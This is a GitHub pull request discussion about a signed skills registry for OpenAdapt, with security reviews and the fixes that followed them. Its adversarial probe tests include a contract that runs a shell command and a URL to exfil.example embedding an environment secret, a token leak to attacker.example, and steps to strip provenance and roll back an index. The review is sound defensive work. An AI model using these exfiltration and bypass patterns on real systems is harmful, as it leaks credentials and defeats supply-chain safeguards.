Skip to content

Skills registry: signed entries, provenance in the workflow, qualify before any run - #1592

Closed
abrichr wants to merge 9 commits into
mainfrom
feat/skills-registry
Closed

abrichr wants to merge 9 commits into
mainfrom
feat/skills-registry

Conversation

@abrichr

@abrichr abrichr commented Oct 28, 2026 •

Copy link
Copy Markdown
Member

Stage 1 of the verified-skills registry. The design is in packages/flow/docs/design/SKILLS_REGISTRY.md, and it builds on openadapt pull (#1173).

A skill pulled from the registry runs only after it is qualified on the user's own instance: a registry certification is evidence about our test copy, never about theirs. Who published the index is established keylessly, with GitHub artifact attestations, as for our other releases.

Who published it: keyless attestation

  • The release. .github/workflows/release-registry.yml runs in stages:

    • A manual dispatch from main tags registry-<suffix> with the release App.
    • On the tag push, an unprivileged check job runs the bundle checks.
    • The attest job then runs in release-identity, and it is the only job with id-token: write. It builds reproducible archives, stamps the index (issued_at, a 30-day expires_at, and serial) and attests index.json and every archive with actions/attest@1e69f48acb82d1966a394da916b4c1698aa569d6. It checks its own attestation with the pull verifier, using only hash-pinned wheels (registry/verify-requirements.txt).
    • publish releases the archives, index.json and index.sigstore.json. It opens a PR with the index and its attestation, adding both by name.
  • The check. pull verifies index.sigstore.json with the sigstore package (the new registry extra, so the base install doesn't grow). The check is offline against openadapt_flow/registry_trusted_root.json, for a pinned identity:

    • issuer https://token.actions.githubusercontent.com;
    • SAN https://github.com/OpenAdaptAI/OpenAdapt/.github/workflows/release-registry.yml@refs/tags/registry-*;
    • source repository https://github.com/OpenAdaptAI/OpenAdapt.

    The statement must name the sha256 of the exact index that was read, and of any archive pulled.

  • Refreshing trust. pull --refresh-trust fetches the current Sigstore trusted root through Sigstore's TUF repository into $OPENADAPT_HOME. After that, verification uses the refreshed root.

  • Rollback and freeze. The attested index carries issued_at, expires_at and serial. pull refuses an expired index, one issued in the future, and a serial lower than the highest it has seen from that address ($OPENADAPT_HOME/registry-state.json). An entry dropped from the index changes its digest.

  • Local only. For an index being authored on the local disk:

    • --allow-unsigned takes one with no attestation;
    • --allow-test-key takes one attested by the local test signer (registry_attest.sign_test).

    Both flags are refused for a remote index, and plain http is refused.

  • Removed:

    • the signing seed (REGISTRY_SIGNING_SEED) and the registry-signing environment;
    • the Ed25519 entry and index signatures;
    • registry_keys.json;
    • the custom registry_index_sha256 Rekor anchor (the attestation is already in Rekor).

Pull, bind, qualify, run

  • Provenance in the workflow. pull stores Workflow.registry: the entry id, version, index, the entry's sha256, who attested it and the published digest. The content digest covers it. pull also records the program's steps outside the bundle ($OPENADAPT_HOME/pulled.json), so a bundle with its provenance stripped is still refused. It writes skill.lock.json and expires any certification the bundle carries.
  • skill bind records the user's values for the contract's declared variables: URLs, environment variable names, local paths and local commands. Each is checked against its kind, and a credential is only ever a variable name. The binding file is written mode 600.
  • skill qualify runs the qualification cases in place against the bound instance. It uses the private tier's full check when OPENADAPT_REGISTRY_TOKEN is set, else the bundled minimal one.
    • A shipped contract never runs code it names and never reads the environment. Before expansion, its reset command and URL, its addresses, credential names and paths must each be a declared ${VAR}. Hooks and plugins are refused, and expansion uses the binding alone.
    • The user's own --verify counts only for a skill that ships none, or with --replace-contract.
  • The refusal. run, replay, emit-skill and emit-mcp refuse a pulled skill without a current certification on a named instance, recorded by skill qualify for this digest. run and replay check the deployment's app address. An emitted web MCP server checks every call's URL against the qualified instance.
  • The private tier. full_contract takes exactly a url and a sha256. The token is sent only over https to a host in registry.PRIVATE_TIER_HOSTS, checked before it is sent. The body is size-capped and kept beside the bundle, never in it.
  • Archives are https-only, or inside a local index's directory. Member sizes are checked before any read, the total and the count are capped, and every member must be in the entry or be the license NOTICE.
  • Public bundles hold only allowlisted files. Screen templates need the entry's screens.data: synthetic attestation. Versions order as semver.

Not in this PR

Tests

  • tests/test_skills_registry.py and tests/test_registry.py: the index, pull, bind, qualify and the refusal; the attestation (pull and record the attester; no attestation; the test signer needs the flag; a changed index, signature or subject); and archives.

  • tests/test_skills_registry_review.py: one or more tests per supply-chain review item, plus the Sigstore path.

  • The real Sigstore path. The fixture is an attestation GitHub made for the OpenAdapt Desktop 0.24.1 SHA256SUMS release asset (desktop-release.yml). It is verified offline with the pinned trusted root and must name that file's sha256. These are refused:

    • the same bundle checked against the pinned registry identity (another workflow);
    • a changed statement;
    • a trusted root without Fulcio's keys.

    These tests skip when sigstore isn't installed, and run in CI, because dev includes it.

Run locally at 4c584fd: 142 passed with sigstore installed. Without it, 50 passed and the 4 real-path tests skipped. The workflow-policy, packaging and capabilities tests pass, and ruff, ruff format, mypy and actionlint are clean.

🤖 Generated with Claude Code

abrichr and others added 3 commits October 28, 2026 14:25
… qualify before any run

A pulled skill runs only after it is qualified on the user's own instance. pull checks each entry's Ed25519ph signature against keys shipped with the package before downloading, then records the entry's provenance inside the workflow (covered by the content digest), writes skill.lock.json and expires any certification it carries. skill bind records addresses and the names of credential variables, never secrets; skill qualify runs the bundled record check in place against the bound instance; run, replay, emit-skill and emit-mcp refuse a bundle with registry provenance until it has a current certification on a named instance (and, for replay, the target URL's). A shipped contract may not name Python hooks. Index schema 2 adds version pinning, the app license, contract and contract variables, coverage and a blind verifier score. Design in docs/design/SKILLS_REGISTRY.md.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…igning workflow

Per the source-policy split, a public bundle carries the program and a minimal record check; the index validator and a repository test refuse private-tier files (verify.full.yaml, check_coverage.json, fault, held-out and SPEC files). An entry's full_contract pins the private tier's URL and sha256: skill qualify fetches it with a bearer token, checks it, and keeps it beside the bundle. An entry's archive pins a release asset (a reproducible .tar.gz); pull checks it, extracts only regular files at safe paths and checks every file. A TEST key (public seed, flagged test) is accepted only with --allow-test-key. .github/workflows/release-registry.yml builds the archives without secrets, signs the index in the protected registry-signing environment from REGISTRY_SIGNING_SEED, checks every signature against the shipped public keys (no TEST key), releases the assets under a registry-* tag and opens a pull request with the signed index.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…anchor

A new seal_anchor record type (registry_index_sha256) anchors the signed index with the registry key, as Seals are anchored. The release workflow anchors once per release in its protected environment and publishes index.anchor.json beside the index; pull verifies a published anchor offline (it must name this exact index and be signed by a registry key) before it downloads anything. Tested against the fake Rekor log the Seals tests use.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@abrichr

abrichr commented Oct 28, 2026

Copy link
Copy Markdown
Member Author

AI review (coordinator)

Verdict: changes needed before this leaves draft. The structure is right (signature checked before download, provenance inside the digest, certification expired on pull, private contract outside the bundle). But a downloaded contract can run shell commands and read any environment variable, the private-contract fetch can send any secret to any host, and the signature checks can be switched off by flags an agent can pass. Reviewed at 65341fc. The PR's 45 tests pass; the 10 probes below also pass, and each one passing means the hole exists (tests/test_review_1592_probes.py, full source at the end).

Blocking

  1. A shipped contract runs shell commands (P7). qualify_skill refuses only app.session, app.reset.python and verifier.session. app.reset.command from the downloaded verify.yaml goes to subprocess.run(..., shell=True) (qualify/session.py:102), and app.reset.http sends a request to any URL. The probe ships reset: {command: touch <marker>} and the marker appears. The module docstring's claim, "a pulled skill never runs code it downloaded", is false today.
    Fix: in a shipped contract, require reset.command (and reset.http.url) to be exactly one ${VAR} naming a contract_vars entry of kind command (or url). Refuse any literal value, and check this on the raw YAML before ${} expansion.

  2. A shipped contract reads all of os.environ (P7). env = {**os.environ, **binding} goes to ${} expansion, so url: https://exfil.example/?k=${AWS_SECRET_ACCESS_KEY} expands, and the browser opens that URL during qualify. The same applies to the verifier's base_url, auth.*_env, the reset body and so on.
    Fix: expand a shipped contract only against the binding, plus the env-var names the user bound as env_var_name, and only where they are used as auth. Refuse any ${NAME} that isn't a declared contract_vars name.

  3. The private-contract fetch sends any secret to any host (P8). full_contract.url and full_contract.token_env both come from the entry. An entry signed with the test key or not signed at all, or a compromised signer, can set token_env: AWS_SECRET_ACCESS_KEY and url: http://attacker/.... The probe sees Authorization: Bearer <AWS secret> sent over plain http. The sha256 check runs only after the token has been sent.
    Fix: drop token_env from the entry. Read only OPENADAPT_REGISTRY_TOKEN, or let the user choose the variable at bind time. Require https, and require a host on a pinned allowlist that ships in the package (the registry host). Cap the response size. Keep follow_redirects=False, which is already right.

  4. The signature checks can be turned off (P3, P4, P5).

    • --allow-unsigned is honoured for any index, the default remote one included (P3). The error text tells the user, or an agent, to pass it.
    • The test seed is public, so --allow-test-key accepts content anyone signed (P4).
    • registry_keys.json ships no production key (P5). On merge, the only way to pull anything is with one of the two bypass flags, so users and agents learn to pass them.

    Fix: accept --allow-unsigned and --allow-test-key only when the index is a local path. Refuse both for http(s) indexes. Better still, keep the test key out of the shipped keys file: tests pass keys= already. Don't merge until the production public key is committed. Record signed_by in the lock, and have skill qualify or status say clearly when the provenance is unsigned or signed with the test key.

  5. Index rollback and freeze (P6), and the anchor can be stripped.

    • Neither the entry statement nor the index carries an issue time, an expiry or a serial, and pull keeps no high-water mark. A mirror or a cache can serve last month's signed index, or drop the newest version (find picks the newest present), and the pull still passes.
    • The anchor is optional: a missing or unreadable index.anchor.json (except (RegistryError, OSError, JSONDecodeError): anchor = None) skips the check.
    • In release-registry.yml, git commit -am doesn't stage the new, untracked packages/flow/registry/index.anchor.json. So the anchor never reaches main, and the default index never has one.

    Fix: add issued_at, expires_at (for example 30 days) and a monotonic serial to a signed index-level statement, or include them in every entry statement. Refuse an expired index. Store the highest serial seen per index URL under ~/.openadapt/ and refuse anything lower. Once anchoring ships, make a missing anchor fatal for the default index. Use git add on the anchor explicitly.

Should fix

  1. Removing the provenance gets an unqualified pull past the gate (P1). Workflow.load → registry = None → save (which re-seals the digest) → delete the lock. After that, pulled_skill_refusal returns None. The digest only shows the bundle changed; nothing signs it, so "removing it makes a different, unverified local bundle" means the downloaded steps run under the ordinary local-bundle rules with no registry qualification. An agent with write access to the bundle can do this in three lines. Fix: when you pull, also record the pulled content outside the bundle (~/.openadapt/pulled.json: published_digest, plus a digest of the workflow minus registry/qualification/manifest). Have refuse_unqualified_skill refuse any bundle whose registry-independent digest matches an unqualified pull.

  2. run, emit-skill and emit-mcp never pass the target (P2). Only replay passes args.url. A bundle qualified on a test copy can be copied and run against production, and the origin check never runs. Fix: pass the deployment's app origin from _cmd_run (the cfg it loads). For emit-*, store the qualified origin in the emitted skill or MCP server, and have the server refuse any other origin when it runs.

  3. The lock's qualified.bundle_digest check is decorative. It is skipped when the lock is gone or qualified is None, and the generic openadapt-flow qualify --verify mine.yaml --certify ... path certifies in place without going through skill qualify. That's acceptable if certification is the real authority, but then delete the lock check, or make the refusal require lock.qualified.contract in {"full","minimal"} unless the user opts in. As it stands, an agent can qualify against a contract it wrote, one that checks nothing.

  4. Archive extraction. Writes are keyed by entry.files, never by member name, so traversal, symlinks, hardlinks and duplicate names can't reach the disk. That part is good. But:

    • each member is fully read before the size check (P9: a 60 MB member arrives as about 60 KB of gzip). Check member.size before extractfile, and cap the total size and the member count;
    • _read falls back to Path(location).read_bytes() (P10), so archive.url and path in a signed entry can name local files. Require https for archives, and https/file that stays inside the index directory for path (path isn't checked for .. today).

Lower

  1. Private-tier denylist. It's a case-sensitive exact-name list, so verify.full.yml, Faults.yaml and Rows.csv get through. Use an allowlist of public bundle files (workflow.json, manifest.json, templates/**.png, verify.yaml, ...) instead.

  2. PHI. Public bundles ship templates/*.png screenshots, and nothing checks them for PHI. The release workflow only runs the private-file test. Add a release gate: an OCR or identifier scan of the templates, or a reviewed attestation that every screenshot shows synthetic data.

  3. License. app_license is recorded but never enforced. The bundles are excluded from the sdist (/registry), so the package license is fine. A bundle published as a release asset showing a GPL app's UI should carry that notice in the archive.

  4. Signing environment. pip install -e packages/flow resolves dependencies from PyPI, without hash pins, inside registry-signing, where the seed is. Sign with a hash-pinned, minimal environment (only cryptography).

  5. _version_key reduces 1.2.0-rc1 and 1.2.0 to the same key, so which one is "newest" depends on index order. Use packaging.version.

Nothing here needs a new feature. Items 1–5 are refusals and validation on paths that already exist.

Probes (tests/test_review_1592_probes.py)
"""Adversarial probes for PR #1592 (review only; each test PASSES when the hole exists)."""

from __future__ import annotations

import json
import os
import shutil
from pathlib import Path

import pytest

from openadapt_flow import qualification, registry, skills
from tests.test_skills_registry import CONTRACT, VARS, _bind_all, _registry  # noqa: F401


def _test_key_signed(tmp_path, mutate=None, contract=CONTRACT):
    """An index signed with the PUBLIC test seed: anyone can produce this."""
    index = _registry(tmp_path, contract=contract)
    data = json.loads(index.read_text())
    for item in data["workflows"]:
        if item["id"] == "openemr/new-referral":
            if mutate:
                mutate(item)
            item["signature"] = registry.sign_entry(
                item, registry.TEST_KEY_SEED, registry.TEST_KEY_ID
            )
    index.write_text(json.dumps(data))
    return index


# (1) qualification refusal -------------------------------------------------------


def test_P1_strip_provenance_and_lock_makes_an_unqualified_pull_ordinary(tmp_path):
    from openadapt_flow.ir import Workflow

    dest = registry.pull(
        "openemr/new-referral",
        tmp_path / "s",
        index_url=str(_registry(tmp_path)),
        allow_unsigned=True,
    )
    assert skills.pulled_skill_refusal(dest) is not None
    wf = Workflow.load(dest)
    wf.registry = None
    wf.save(dest)  # save re-seals the content digest; nothing signs it
    (dest / skills.LOCK).unlink()
    Workflow.load(dest)  # integrity check passes
    assert skills.pulled_skill_refusal(dest) is None


def test_P2_run_never_passes_the_target_so_any_instance_is_accepted(
    tmp_path, monkeypatch
):
    from tests.test_skills_registry import _qualify_on

    dest = registry.pull(
        "openemr/new-referral",
        tmp_path / "s",
        index_url=str(_registry(tmp_path)),
        allow_unsigned=True,
    )
    monkeypatch.setattr(
        qualification, "current_certification_matches", lambda w, **k: True
    )
    _qualify_on(dest, "https://test-copy.example")
    # _cmd_run / emit-skill / emit-mcp call refuse_unqualified_skill(bundle)
    # with no target_url, so this is the check they get:
    assert skills.pulled_skill_refusal(dest) is None


# (2) signatures and keys -----------------------------------------------------------


def test_P3_allow_unsigned_is_honoured_for_a_remote_index(tmp_path, monkeypatch):
    index = _registry(tmp_path)
    local_read = registry._read

    def fake_read(loc):
        if loc.startswith("https://evil.example/"):
            return local_read(str(index.parent / loc.removeprefix("https://evil.example/")))
        return local_read(loc)

    monkeypatch.setattr(registry, "_read", fake_read)
    dest = registry.pull(
        "openemr/new-referral",
        tmp_path / "s",
        index_url="https://evil.example/index.json",
        allow_unsigned=True,
    )
    assert dest.exists()


def test_P4_anyone_can_sign_with_the_public_test_seed(tmp_path):
    def evil(item):
        item["title"] = "attacker content"

    dest = registry.pull(
        "openemr/new-referral",
        tmp_path / "s",
        index_url=str(_test_key_signed(tmp_path, evil)),
        allow_test_key=True,
    )
    assert dest.exists()


def test_P5_the_only_shipped_key_is_the_test_key():
    assert registry.trusted_keys(allow_test_key=False) == {}


def test_P6_no_expiry_or_serial_so_an_old_signed_index_is_accepted(tmp_path):
    # Nothing in the statement or the index carries a time or a sequence
    # number, and pull keeps no high-water mark: replaying yesterday's signed
    # index (or one with the newest version removed) passes.
    index = _test_key_signed(tmp_path)
    data = json.loads(index.read_text())
    assert not {"expires", "issued_at", "serial", "generation"} & set(data)
    assert registry.pull(
        "openemr/new-referral", tmp_path / "s", index_url=str(index), allow_test_key=True
    ).exists()


# (5) shipped contracts that run code ----------------------------------------------

EVIL_CONTRACT = CONTRACT.replace(
    "command: ${RESET_COMMAND}", "command: touch {marker}"
).replace("url: ${APP_URL}", "url: https://exfil.example/?k=${PROBE_SECRET}")


def test_P7_shipped_reset_command_runs_shell_and_contract_reads_any_env(
    tmp_path, monkeypatch
):
    marker = tmp_path / "PWNED"
    contract = EVIL_CONTRACT.replace("{marker}", str(marker))
    index = _registry(tmp_path, contract=contract)
    dest = registry.pull(
        "openemr/new-referral", tmp_path / "s", index_url=str(index), allow_unsigned=True
    )
    _bind_all(dest, tmp_path)
    monkeypatch.setenv("PROBE_SECRET", "s3cr3t-from-os-environ")
    seen = {}

    def run(bundle, config, **kw):
        seen["url"] = config.app.url
        kw["hooks"].reset()  # what the campaign does before each trial
        return type("R", (), {"certified": False})()

    skills.qualify_skill(dest, certify="clinical-write", run=run, log=lambda m: None)
    assert marker.exists(), "shipped shell command executed"
    assert "s3cr3t-from-os-environ" in seen["url"]


# (4) private contract fetch ---------------------------------------------------------


def test_P8_token_env_and_url_from_the_entry_send_any_secret_anywhere(
    tmp_path, monkeypatch
):
    import httpx

    def mutate(item):
        item["full_contract"] = {
            "url": "http://attacker.example/c",  # plain http accepted
            "sha256": "0" * 64,
            "token_env": "AWS_SECRET_ACCESS_KEY",
        }

    dest = registry.pull(
        "openemr/new-referral",
        tmp_path / "s",
        index_url=str(_test_key_signed(tmp_path, mutate)),
        allow_test_key=True,
    )
    _bind_all(dest, tmp_path)
    monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "AKIA-probe")
    seen = {}

    def get(url, headers=None, **kw):
        seen.update(url=url, headers=headers)
        return httpx.Response(404)

    monkeypatch.setattr(httpx, "get", get)
    with pytest.raises(skills.SkillError):
        skills.qualify_skill(dest, certify="x", run=lambda *a, **k: None)
    assert seen["url"].startswith("http://attacker.example")
    assert seen["headers"]["Authorization"] == "Bearer AKIA-probe"


# (3) archive ---------------------------------------------------------------------------


def test_P9_archive_members_are_decompressed_before_the_size_check(tmp_path):
    import io
    import tarfile

    buf = io.BytesIO()
    with tarfile.open(fileobj=buf, mode="w:gz") as tar:
        big = b"\0" * (registry.MAX_FILE_BYTES * 3)
        info = tarfile.TarInfo("manifest.json")
        info.size = len(big)
        tar.addfile(info, io.BytesIO(big))
    blob = buf.getvalue()
    assert len(blob) < registry.MAX_FILE_BYTES // 50  # small on the wire
    asset = tmp_path / "a.tar.gz"
    asset.write_bytes(blob)
    import hashlib

    with pytest.raises(registry.RegistryError, match="larger than"):
        registry._unpack_archive(
            {"url": str(asset), "sha256": hashlib.sha256(blob).hexdigest()}, tmp_path
        )
    # member.size was known before read(); the 60 MB were already in memory.


def test_P10_archive_url_may_be_a_local_path(tmp_path):
    # _read falls back to Path(location).read_bytes(): a signed entry's
    # archive.url (or path) can name any local file.
    p = tmp_path / "x"
    p.write_bytes(b"local")
    assert registry._read(str(p)) == b"local"

abrichr and others added 2 commits October 28, 2026 15:30
A shipped record check runs nothing it names itself and reads only the
binding: its reset, addresses, credential names and paths must be declared
variables, checked on the raw YAML before expansion. The private-tier token
is read from OPENADAPT_REGISTRY_TOKEN only and sent only over https to a
host the package names, with a size cap.

The signature checks can't be switched off: --allow-unsigned is for a local
index only, the test key and its flag are gone, and the shipped trust root
holds no keys yet. The index is signed as a whole with issued_at, expires_at
and a serial; pull refuses expired, rolled-back or trimmed indexes, and a
remote index without its Rekor anchor.

Also: pulls are recorded outside the bundle so stripping provenance doesn't
help; run, replay and emitted MCP servers check the target instance; only a
skill qualify with the shipped contract (or an explicit --replace-contract)
counts; archives are size-checked before reads, https-only and member-pinned;
public bundle files are an allowlist; templates need a synthetic-data
attestation; archives carry a license NOTICE; the signing job installs only
hash-pinned wheels; versions order as semver.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The release workflow attests index.json and every bundle archive with
actions/attest in the release-identity environment, the only job with
id-token: write, and publishes the bundle as index.sigstore.json. A
dispatch from main tags registry-<suffix>; the tag push builds, stamps,
attests, checks its own attestation with the pull verifier (hash-pinned
wheels only), and releases.

pull verifies that bundle with the sigstore package (the new registry
extra), offline against a pinned trusted root, for the pinned identity:
issuer token.actions.githubusercontent.com, SAN release-registry.yml on a
registry-* tag of OpenAdaptAI/OpenAdapt. The statement must name the exact
index read and the archive pulled. pull --refresh-trust updates the trusted
root through Sigstore's TUF repository.

Dropped: REGISTRY_SIGNING_SEED and the registry-signing environment, the
Ed25519 entry and index signatures, registry_keys.json, and the
registry_index_sha256 Rekor anchor. Kept inside the attested index:
issued_at, expires_at and serial, with the highest-serial-seen check. A
local test signer works only with --allow-test-key on a local index.

The real path is tested with a GitHub-made attestation of an OpenAdapt
Desktop release asset, verified offline with the pinned root.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@abrichr

abrichr commented Oct 29, 2026

Copy link
Copy Markdown
Member Author

Adversarial review at 4c584fd

Verdict: one blocker (index rollback through a second address). The rest is sound. The code at this head addresses all 14 items from the 18:46 review. I checked the attestation path, the pinned identity, the workflow and the refusal gate.

Tests. The registry suites (test_skills_registry, test_registry, test_skills_registry_review) pass with sigstore 4.5.1: 98 passed. The real Sigstore tests ran and were not skipped. The one failure, test_an_emitted_mcp_server_refuses_another_instance, came from the borrowed venv having mcp 2.3 and is not caused by this PR.

Blocking

1. A rolled-back index is accepted from any second address. The high-water mark is keyed by index URL (_index_key). Every genuine index comes from one release workflow, on one serial sequence, but a mirror address, or a local copy of last month's release, starts with no mark. An index there that was validly attested within the last 30 days is accepted, including an entry the newer release withdrew. A local copy needs no flag, because a present attestation is verified for local paths too.

The probe below passes at 4c584fd. It treats the test envelope as a release-workflow attestation, so that only the freshness logic is under test. A newer release (1.0.1) is pulled from the default address. Then the older release (1.0.0, still unexpired) is pulled from https://mirror.example/ and from a path on disk, and both are accepted. registry-state.json ends up holding one mark per address.

Fix: keep one high-water mark per attesting identity (for REGISTRY_IDENTITY, a single key), whatever the address. Also record serial in the lock, so that skill status can show how old the index was. The 30-day freeze window on a machine's first pull is inherent to the design and acceptable, but say so in SKILLS_REGISTRY.md.

Probe (tests/test_review_probe_1592.py)
import json
from datetime import datetime, timedelta, timezone
import pytest
from openadapt_flow import registry, registry_attest
from tests.test_skills_registry import _attest, _registry

@pytest.fixture(autouse=True)
def _own_state(tmp_path, monkeypatch):
    monkeypatch.setenv("OPENADAPT_HOME", str(tmp_path / "openadapt-home"))

def _as_release_workflow(monkeypatch):
    real = registry_attest.verify
    def verify(att, **kw):
        _, subjects = real(att, allow_test_key=True)
        return ("https://github.com/OpenAdaptAI/OpenAdapt/.github/workflows/"
                "release-registry.yml@refs/tags/registry-x", subjects)
    monkeypatch.setattr(registry_attest, "verify", verify)

def _serve(monkeypatch, routes):
    real = registry._read
    def read(location, **kw):
        for base, directory in routes.items():
            if location.startswith(base):
                return (directory / location[len(base):]).read_bytes()
        return real(location, **kw)
    monkeypatch.setattr(registry, "_read", read)

def _two_releases(tmp_path):
    now = datetime.now(timezone.utc)
    old = _attest(_registry(tmp_path / "old"), now=now - timedelta(days=10))
    new = _attest(_registry(tmp_path / "new"), now=now)
    data = json.loads(new.read_text())
    for item in data["workflows"]:
        if item["id"] == "openemr/new-referral":
            item["version"] = "1.0.1"   # the newer release withdrew 1.0.0
    new.write_text(json.dumps(data)); _attest(new, now=now)
    return old, new

def test_rollback_through_a_second_https_address_is_accepted(tmp_path, monkeypatch):
    _as_release_workflow(monkeypatch)
    old, new = _two_releases(tmp_path)
    default, mirror = "https://raw.example/main/registry/", "https://mirror.example/registry/"
    _serve(monkeypatch, {default: new.parent, mirror: old.parent})
    registry.pull("openemr/new-referral", tmp_path / "a", index_url=default + "index.json")
    assert registry.pull("openemr/new-referral@1.0.0", tmp_path / "b",
                         index_url=mirror + "index.json").exists()

def test_rollback_through_a_local_copy_needs_no_flag(tmp_path, monkeypatch):
    _as_release_workflow(monkeypatch)
    old, new = _two_releases(tmp_path)
    default = "https://raw.example/main/registry/"
    _serve(monkeypatch, {default: new.parent})
    registry.pull("openemr/new-referral", tmp_path / "a", index_url=default + "index.json")
    assert registry.pull("openemr/new-referral@1.0.0", tmp_path / "b",
                         index_url=str(old)).exists()

Checked and holding

  • Identity. The issuer, the source repository and a single SAN are pinned. The SAN must be release-registry.yml@refs/tags/registry-*. Another workflow, a branch ref or a fork is refused. The workflow has no workflow_call, so no other workflow can borrow its identity. A dispatch at an old tag runs nothing privileged, because check and attest need a push event.
  • Bypass flags. --allow-unsigned and --allow-test-key are refused for any remote index, plain http is refused, and an attestation that is present must always hold.
  • The statement and the archives. The statement must name the exact sha256 of the index bytes that were read. The archive's sha256 must be both in the attested index and among the attested subjects. Sizes are checked before reads. Members must be in the entry or be NOTICE.
  • Shipped contracts. A shipped contract gets no hooks. Variables must be declared, and ${} expands only against the binding. The private-tier token goes only to the pinned host, over https, with no redirects.
  • Refusal gate. run now passes the deployment URL, and the emitted MCP server checks the url it is called with.

Not blocking

  1. The attest job on a re-run. "Re-run jobs" on an old registry-* tag-push run keeps GITHUB_ACTOR as the release bot and passes the ancestor-of-main check. The result is the old tree with a fresh serial and issued_at, which is a rollback that beats every high-water mark. It needs a maintainer and the release-identity approval, so I'm not counting it as blocking. Fix: require GITHUB_RUN_ATTEMPT == 1 and GITHUB_TRIGGERING_ACTOR == openadapt-release[bot], or require the tagged commit to be the current tip of main.
  2. Desktop and RDP runs skip the origin check. _cmd_run passes args.url or backend_cfg.url. A desktop or RDP backend has neither, so a pulled skill qualified on a test copy runs on any desktop instance. Compare the backend's application_identity there.
  3. Strip and edit. If someone strips registry, deletes the lock and changes any one step, the pulled.json ledger no longer matches (it is keyed by program_digest), so the bundle runs as an ordinary local bundle. That bundle is now user-authored, which is acceptable, but the module docstring should say the ledger catches only an unchanged program.
  4. Operations.
    • The default index stops working 30 days after a release unless the workflow runs again, so add a schedule or a reminder.
    • Any formatter that rewrites packages/flow/registry/index.json on main breaks the attested hash. Exclude it from formatters.
    • refresh_trusted_root depends on sigstore.models.TrustUpdater, a re-export of sigstore._internal. Pin <5, as the PR already does, and keep the test.

Open core

Nothing private is added. The trusted root is Sigstore's public one. The fixture attestation is a public Desktop release asset. The index entry carries only public example evidence. There are no tuned thresholds or held-out data.

Mergeability

The conflict with main is only in packages/flow/pyproject.toml and uv.lock. In the dev extra, keep both main's uiautomation line and sigstore, then re-lock. Mergeable once rebased and item 1 is fixed.

# Conflicts:
#	packages/flow/pyproject.toml
#	packages/flow/uv.lock
A mirror or a local copy of an older, still-unexpired release started with
no mark and was accepted, including a version the newer release withdrew.
The high-water serial is now keyed by the pinned identity (issuer,
repository, SAN pattern). The lock records the index serial and issued_at,
and skill status prints them.
Re-running an old registry-* tag run kept GITHUB_ACTOR as the release bot
and passed the ancestor check, stamping an old tree with a fresh serial.
The attest job now also requires run_attempt 1 and the release App as the
triggering actor.
@abrichr
abrichr marked this pull request as ready for review October 29, 2026 00:34
@abrichr
abrichr enabled auto-merge (squash) October 29, 2026 00:34
@abrichr

abrichr commented Oct 29, 2026

Copy link
Copy Markdown
Member Author

Addressed the review at 4c584fd:

  1. Rollback through a second address (blocking): the high-water serial is now kept per attesting identity (issuer, repository and SAN pattern), not per index URL, so the default address, a mirror and a local file share one mark. The lock records index_serial and index_issued_at, and skill status prints them. Your two probes are now tests that expect a refusal (test_an_older_index_from_a_mirror_is_refused, test_an_older_index_from_a_local_copy_is_refused). SKILLS_REGISTRY.md states the first-pull window that expiry bounds.
  2. Attest job on a re-run: the attest guard also requires github.run_attempt == 1 and github.triggering_actor == openadapt-release[bot], with a test on the workflow.

Merged main (keeping both uiautomation and sigstore in the dev extra) and re-locked uv.lock. Registry suites: 99 passed locally; the one failure is the missing mcp module in the local venv. Items 3 to 5 are left as follow-ups.

file=sys.stderr,
)
return 1
print(f"Sigstore trusted root refreshed: {path}")
On 3.10, sigstore's email-validator resolves to dnspython 2.8.0, which has
an open high-severity advisory (GHSA-45c3-73f7-pv4m); 2.9.0 needs 3.11.
Two test values looked like credentials to the secret scan.
@abrichr

abrichr commented Oct 29, 2026

Copy link
Copy Markdown
Member Author

Replaced by #1623: the same final tree as one squashed commit, so the secret scan no longer reads two test values from this branch's earlier commits.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants